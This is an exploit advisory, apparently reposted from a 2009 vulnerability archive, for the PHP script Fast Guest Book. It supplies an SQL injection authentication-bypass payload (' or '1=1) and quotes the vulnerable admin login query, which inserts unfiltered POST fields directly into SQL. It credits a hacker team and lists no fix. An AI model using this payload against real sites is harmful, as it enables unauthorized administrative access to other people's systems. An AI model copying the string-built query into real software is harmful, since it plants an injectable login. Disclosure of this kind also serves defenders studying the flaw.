Fast Guest Book (Auth Bypass) SQL Injection Vulnerability

2009-01-11 04:33:30

###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


==============================================================================

==============================================================================

==============================================================================

[»] Script: [ Fast Guest Book ]
[»] Language: [ PHP ]
[»] Website: [ http://fastcreators.com/products/guestbook/download.php ]
[»] Founder: [ Moudi <[email protected]> ]
[»] Thanks to: [ MiZoZ , ZuKa , str0ke , and all hackers... ]
[»] Team: [ EvilWay ]

###########################################################################

===[ Exploit ]===

[»] ' or '1=1

===[ BUG ]===

[»] Bug In \admin\authorize.php

$query = "select * from admin where userid='{$_POST['uname']}' AND
pass='{$_POST['pass']}'";



Author: Moudi

###########################################################################

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.